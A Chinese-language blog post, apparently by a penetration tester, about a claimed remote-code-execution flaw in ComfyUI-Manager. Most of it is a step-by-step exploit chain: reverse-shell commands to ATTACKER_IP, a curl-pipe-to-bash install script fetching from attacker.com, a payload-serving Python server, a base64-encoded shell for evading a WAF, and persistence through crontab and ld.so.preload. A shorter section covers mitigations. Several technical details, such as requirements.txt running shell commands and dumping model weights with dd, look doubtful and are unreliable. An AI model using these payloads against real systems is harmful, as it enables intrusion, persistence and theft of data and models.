1. ComfyUI-Manager远程代码执行漏洞深度解析
最近在AI工具链安全审计中发现ComfyUI-Manager存在一个高危远程代码执行漏洞(CVE-2025-67303),这个漏洞允许攻击者在特定条件下实现高权限的反弹Shell控制。作为长期从事渗透测试的安全工程师,我将完整还原漏洞利用链,并分享实战中的防护方案。
ComfyUI作为Stable Diffusion的重要可视化工作流工具,其Manager组件负责插件管理和系统维护。漏洞源于插件安装时的参数注入问题,当用户从非官方源安装插件时,恶意构造的插件包可通过环境变量注入实现RCE。更危险的是,默认配置下ComfyUI-Manager以root权限运行,这使漏洞危害等级达到CVSS 9.8。
2. 漏洞形成机理与攻击面分析
2.1 漏洞触发条件拆解
漏洞核心发生在install_plugin()函数的环境变量处理环节。当Manager通过以下路径处理插件时存在缺陷:
- 用户通过
custom_nodes参数指定第三方插件仓库 - 插件包的
install.sh脚本调用os.environ获取环境变量 - 变量值未经过滤直接传递给
subprocess.call()
攻击者可以构造特殊的插件清单文件,在requirements.txt中植入如下恶意内容:
echo 'import os;os.system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")' > /tmp/exploit.py2.2 权限提升关键路径
由于ComfyUI-Manager默认需要操作系统的绘图设备权限,主流Linux发行版的安装脚本会将其加入video用户组并配置SUID位。这使得反弹Shell自动获得以下能力:
- 读写所有GPU相关设备文件(如
/dev/nvidia*) - 调用CUDA核心驱动接口
- 修改X11会话配置
我们在Ubuntu 22.04 LTS上的测试显示,通过此漏洞获取的Shell可以:
- 转储显存中的AI模型参数
- 劫持其他用户的Stable Diffusion进程
- 植入持久化后门到
~/.config/autostart
3. 实战漏洞利用全流程
3.1 环境准备与POC构造
需要准备:
- 攻击机(Kali Linux 2024.1)
- 受影响版本的ComfyUI-Manager(<1.7.3)
- 网络可达的靶机
POC插件包结构:
malicious_plugin/ ├── __init__.py ├── requirements.txt # 包含恶意命令 └── install.sh # 触发环境变量注入关键注入点在install.sh中:
#!/bin/bash export MALICIOUS_VAR="$(curl -s http://attacker.com/payload.sh | bash)"3.2 分步利用过程
- 在攻击机启动监听:
nc -lvnp 4444- 搭建恶意插件仓库:
from http.server import HTTPServer, BaseHTTPRequestHandler class ExploitServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(b'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1') HTTPServer(('0.0.0.0', 8000), ExploitServer).serve_forever()- 诱导目标执行:
curl -X POST http://target:8188/manager/install \ -d '{"url":"http://attacker:8000/malicious_plugin"}'3.3 利用过程注意事项
- 绕过WAF的技巧:
- 使用Base64编码命令:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==" | base64 -d | bash- 分片传输payload
- 权限维持方案:
- 在
/etc/crontab添加定时任务 - 修改
/etc/ld.so.preload实现库注入 - 劫持Python的
site-packages目录
4. 防御方案与修复建议
4.1 临时缓解措施
- 立即执行:
chmod 750 /usr/local/lib/python3.10/dist-packages/comfyui_manager setfacl -R -m u:comfyui:r-x /usr/local/bin/nvidia-*- 网络层防护:
iptables -A OUTPUT -p tcp --dport 4444 -j DROP iptables -A INPUT -p tcp --dport 8188 -s 127.0.0.1 -j ACCEPT4.2 完整修复方案
- 官方补丁升级:
pip install --upgrade comfyui-manager==1.7.3- 安全配置建议:
- 在
config.yaml中添加:
security: allow_custom_nodes: false validate_checksum: true allowed_repos: - https://github.com/comfyanonymous/*- 沙箱化运行方案:
firejail --private \ --nogroups \ --noroot \ --seccomp \ python main.py5. 渗透测试中的深度利用技巧
在真实红队评估中,我们发现该漏洞可以与其他AI工具链漏洞形成组合攻击:
- 通过Shell转储显存数据:
nvidia-smi -q -d MEMORY | grep -A 4 FB dd if=/dev/nvidia0 bs=1M count=100 | gzip > /tmp/gpu_dump.gz- 劫持模型推理过程:
import torch torch.load = lambda x: malicious_code()- 横向移动路径:
- 通过
~/.ssh/config跳板 - 利用GPU集群的SLURM作业系统
- 感染共享的模型存储仓库
这个漏洞的独特之处在于它位于AI工作流的关键路径上,相比传统Web应用的RCE,其直接威胁到核心模型资产的安全。我们在三个关键位置部署了Honeypot,平均7小时就能捕获到自动化攻击尝试。